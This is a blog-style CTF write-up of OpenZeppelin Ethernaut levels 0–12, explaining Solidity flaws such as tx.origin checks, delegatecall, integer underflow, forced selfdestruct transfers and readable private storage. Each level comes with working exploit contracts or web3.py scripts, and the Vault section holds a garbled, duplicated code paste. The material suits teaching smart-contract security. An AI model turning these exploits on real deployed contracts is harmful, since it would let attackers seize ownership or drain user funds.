tohka

tohka

Hack for fun!
twitter
github

Ethernaut闯关小记

本系列是OpenZeppelin Ethernaut CTF 的闯关记录,旨在边玩边学习 Solidity 安全

#0 Hello Ethernaut#

1. Set up MetaMask#

安装 MetaMask 插件,略

2. Open the browser's console#

输入player查看自己钱包的地址

image

3. Use the console helpers#

调用getBalance(player)进行交互

image

4. The ethernaut contract#

输入ethernaut查看合约信息

image

5. Interact with the ABI#

合约的 ABI 接口会暴露合约的 public 方法,可以进行一些简单的交互比如ethernaut.owner()

image

6. Get test ether#

上水龙头领 ETH

https://faucet.rinkeby.io/

https://faucets.chain.link/rinkeby

https://faucet.paradigm.xyz/

7. Getting a level instance#

生成合约实例

image

8. Inspecting the contract#

image

9. Interact with the contract to complete the level#

根据指示进行层层调用

image

image

image

image

image

WIn!

image

附上通关后给出的完整合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

#1 Fallback#

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

通关条件

  1. 获得这个合约的所有权
  2. 把他的余额减到 0

这可能有帮助

  • 如何通过与 ABI 互动发送 ether
  • 如何在 ABI 之外发送 ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 方法

首先观察合约,要获得合约的所有权则要使owner=msg.sender

除了构造方法外,只有两个入口满足

image

image

接下来分析下被触发的可能性

contribute()中需要msg.sender的贡献值大于owner, 而owner的贡献值为1000eth, 因此我们很难利用这个函数

再来看看receive()函数,只需要触发这个函数并且满足msg.valuemsg.sender的贡献值大于 0 即可

而对于receive()fallback的触发由下图可以表示

触发fallback() 还是 receive()?
           接收ETH
              |
         msg.data是空?
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()

所以整体攻击思路如下

1. 先调用contribute()同时设置msg.value < 0.001 eth

2. 调用转账,设置msg.value = 0.0001(大于 0 即可),以触发receive()

3. 调用withdraw(),转空合约

攻击流程

image

image

image

然后进行 check

image

#2 Fallout#

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  // constructor 
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

通关条件

1. 获得合约所有权

合约分析

这个合约实现了类似存款取款查询余额的功能

和上题一样,要获得合约所有权就得关注owner = msg.sender代码

经过仔细的对比,发现Fal1out()Fallout相差一个字符,所以这个合约并无构造函数,而Fal1out()只是作为一个 public 的方法而存在,那么只要调用这个函数即可

攻击流程

通过查看owner地址是默认值可以证实我们上述分析

image

调用并完成攻击即可获得合约拥有权

image

Win!

image

#3 Coin Flip#

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

通过条件

  1. consecutiveWins大于 10

合约分析

FACTOR 的值其实就是就是 2^255, 可以使区块的 hash 随机分至 true/false

而攻击这个合约最重要的一点就是知道它的blockValue

又由于我们只能通过block.number获取当前交易所处的区块,由于以太坊网络中的交易一直在持续进行,下一次交易的区块大概率会变更。

不过如果我们能够控制攻击合约和被攻击合约的交易的时间差极小,就能使其他们的交易属于同一个区块

我们可以通过攻击合约先计算当前的blockValuecoinFlip再调用被攻击合约的flip()就能使得每次的 guess 都正确了,然后再调用十次攻击合约,就能使得consecutiveWins大于 10

Exp

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '../SafeMath.sol';

// 利用 多笔交易同一区块的特性
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract Attack {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip hackFilp;
    
    function Target(address target) public {
        hackFilp = CoinFlip(target);
    }

    function flip() public {
        uint blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue){
            revert();
        }

        lastHash = blockValue;

        uint coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        if(side == true){
            // 调用被攻击者的合约的flip函数 flip(true);
            hackFilp.flip(true);
        }else{
            // 调用被攻击者的合约的flip函数 flip(false);
            hackFilp.flip(false);
        }
    }
}

攻击流程

获取被攻击合约地址

image

进行攻击合约的部署和初始化Target

image

调用一次flip()
image

连续调用 10 次即可

image

Win!!

image

#4 Telephone#

考察内容:tx.origin

合约代码#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

通过条件#

  1. 获得合约的所有权

合约分析#

整个合约代码很短,出现了一个之前没有接触过的概念tx.origin, 它的值是遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址

那么我们只要使得调用changeOwner的地址不是和被攻击合约的msg.sender相同即可

那么就可以通过部署一个攻击合约然后达成间接调用的目的

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Attack {
    Telephone hackTelphone;


    function Init(address _address) public{
        hackTelphone = Telephone(_address);
    }


    function attack()  public {
        hackTelphone.changeOwner(msg.sender);
    }
}

攻击流程#

获取被攻击合约的地址

image

部署攻击合约并调用attack()

image

查看contract.owner时发现已经改变了

image

image

Win!!

image

#5 Token#

考察内容:外部账户和合约账户、整数溢出

合约代码#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

通过条件#

  1. 增加手中的 token 数量

合约分析#

依旧是外部账户和合约账户的问题,一个外部账户可以创建多个合约账户。

这里贴上 CTFWIKI 上面的解释

image

在这里我们可以调用将合约账户里面的初始的token转到外部账户

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {  // 外部账户和合约账户的区别

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract Attack {
    Token hackToken;

    function init(address _addr) public {
        hackToken = Token(_addr);
    }

    function hack() public {
        hackToken.transfer(msg.sender,5);
    }

}

攻击流程#

获取被攻击合约地址

image

部署攻击合约

image

发现外部账户的 token 数量已经发生了改变

image

win!!

image

题外话 —— 整数溢出漏洞#

值得注意的是这里的版本小于 0.8.0,如果不用safeMath库的话是会存在整数溢出漏洞的

我们可以将这里的攻击代码改成下图形式

image

发现可以绕过这里的校验 即20-21=2^256-1

image

image

#6 Delegation#

考察内容:Delegation 攻击

合约代码#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

通过条件#

  • 将 Delegation 合约的 owner 修改成 Attacker 的

前置知识(合约调用的三种方式)#

_Name (_Address).f () 形式#

通常利用合约的地址和合约代码 (ABI 接口) 来创建合约的引用:_Name(_Address),其中_Name是合约名,_Address是合约地址。然后用合约的引用来调用它的函数:_Name(_Address).f(),其中f()是要调用的函数

Call#

calladdress类型的低级成员函数,它用来与其他合约交互。它的返回值为(bool, data),分别对应call是否成功以及目标函数的返回值。

Call的使用规则:

目标合约地址.call{value:发送数额, gas:gas数额}(abi.encodeWithSignature("函数签名", 逗号分隔的具体参数))

Delegatecall#

Delegatecall的使用规则与Call类似,一个比较大的区别是执行上下文的不同。

Call 的执行上下文

call 的语境

DelegateCall的执行上下文

delegatecall 的语境

合约分析#

题目给了两个合约,一个是Delegate合约,是被委托执行的合约,另一个是Delegation合约,是委托他人执行的合约

首先来分析Delegate合约,这个合约的内容很简单,唯一一个比较引人注意的便是pwn()函数,pwn()函数可以改变owner ,是优先利用的函数

再来看看Delegation合约,这个合约里进行了DelegateCall的操作,而我们需要对其进行触发,也就是触发fallback()函数,而触发fallback()函数则需要调用一个不存在的函数,而这个不存在的函数刚好用pwn()函数替代便可以完成完整的触发链

image

Exp#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "_owner",
				"type": "address"
			}
		],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "pwn",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="pwn()")[0:10]
}

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)


参考资料:WTF Academy

#7 Force#

考察内容:Selfdestruct 攻击

合约代码#

合约内没有内容!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

通过条件#

  • 使合约的 Balance>0

前置知识#

关于 Selfdestruct 可以看慢雾的文章, 笔者在此就不作赘述了

合约分析#

言简意赅,通过一个合约的 Selfdestruct 来进行强制转账

EXP#

// SPDX-License-Identifier: MIT

pragma solidity ^0.4.0-0.8.15;

contract Attack {

  constructor() public payable{} // 使得可以在部署的时候接收eth,以便之后通过Selfdestruct转给被攻击合约

  function attack(address addr) public {
  	selfdestruct(addr);
  }
}

Win!

image

#8 Vault#

考察内容:访问私有数据

合约代码#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}xxxxxxxxxx // SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Vault {  bool public locked;  bytes32 private password;  constructor(bytes32 _password) public {    locked = true;    password = _password;  }  function unlock(bytes32 _password) public {    if (password == _password) {      locked = false;    }  }}// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Force {/*                   MEOW ?         /\_/\   /    ____/ o o \  /~____  =ø= / (______)__m_m)*/}

通过条件#

  • 使合约的 locked = false

前置知识#

关于访问私有数据可以看慢雾的文章, 笔者在此就不作赘述了

合约分析#

言简意赅,访问到 password 所在的插槽的数据即可

password所在的是slot1

EXP#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32",
                "name": "_password",
                "type": "bytes32"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes32",
                "name": "_password",
                "type": "bytes32"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xec9b5b3a"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="pwn()")[0:10]
}

TransactionData = vul_contarct.functions['unlock'](password).buildTransaction({
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei')
})

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

Win!

image

#9 King#

考察内容:合约账户收到 Ether 的条件

合约代码#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

通过条件#

  • 破坏合约,使得 king 的地址不能再被改变

前置知识#

对于一个合约账户,如果要实现接接收 ETH 的功能,需要在内部有关于receivefallback函数的定义和实现。如果对于一个新创建的合约账户,想要在一开始就转入 ETH 的话,需要在构造函数上加上 payable 属性

合约分析#

这题的合约其实就是一个击鼓传花的游戏,后一个人向合约转 ETH, 前一个人就会收到后一个人转到合约中的 ETH,如此反复。而我们需要破坏这个合约的功能,也就是让 King 的地址不能再发生改变。那么只需要发送大于 prize 数量的 ETH,并且让发送的账户不能接收 transfer 函数的转账即可。

攻击流程#

获取 prize 的数量

await contract.prize().then(v => v.toString())

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

contract Attacker {
    constructor(address payable _to) payable {
        (bool success, ) = address(_to).call{value: msg.value}("");  // msg.value should > 1000000000000000
        require(success, "failed");
    }
}

Win!

image

#11 Elevator#

Keyword: Interface

Smart Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Passing Conditions#

  • Make the value of top variable is true

Pre-Knowledge#

The concept of Interface is similar to that of other languages, so I won't go into it here.

For the following contract, if the contract address addr(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D) has the implementation of the Interface-related function, when the function defined in the Interface is called by the variable BAYC exemplified by the interface, the interaction will follow the logic of the implementation in the above contract address.

contract interactBAYC {
    // Create interface contract variables using BAYC addresses (ETH Main NetWork)
    IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);

    // Call BAYC's balanceOf() through the interface to query the position
    function balanceOfBAYC(address owner) external view returns (uint256 balance){
        return BAYC.balanceOf(owner);
    }

    // Call BAYC's safeTransferFrom() safe transfer via the interface
    function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
        BAYC.safeTransferFrom(from, to, tokenId);
    }
}

This also creates a point of insecurity where we must keep track of whether there are risky implementations during the instantiation of interface contract variables.

And we can also define our own interface to an already existing contract and then instantiate it to call it, which also belongs to a function call approach.

Smart Contract Analysis#

Seeing the contract in this question, we can see that according to the logic of goTo, top can never be true. If we write an attack contract and implement the isLastFloor function in the attack contract, so that the call to building.isLastFloor returns false at the beginning and true at the second time, we can meet the requirement of false. returns true, it will be satisfied.。

EXP#

interface ElevatorInterface{
    function goTo(uint) external;
}

contract Attack {
    bool  public top = false;

    function isLastFloor(uint) external returns (bool){
        bool first = top;
        top = !top;
        return first;
    }

    function hack(uint addr) public {
        ElevatorInterface(addr).goTo(0);
    }
}

#12 Privacy#

Keyword: Private Data Access

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Conditions for passing the level#

  • Make locked = false

Pre-knowledge#

For access to private data you can see SlowMist's article,I won't go into details here.

Smart Contract Analysis#

Just getbytes16(data[2])

EXP#

from web3 import Web3

rpc_url = ''

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = ''
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0xf487e9888E58bBA039dD51ae9AEBB28F04fAfBFB'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32[3]",
                "name": "_data",
                "type": "bytes32[3]"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "ID",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xb3cea217"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes16",
                "name": "_key",
                "type": "bytes16"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xe1afb08c"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)


slot5 = w3.eth.get_storage_at(vul_addr,0x5)

_key = int(w3.toHex(slot5)[:34],16)


TransactionData = vul_contarct.functions['unlock'](w3.toBytes(_key)).buildTransaction({
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei')
})

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。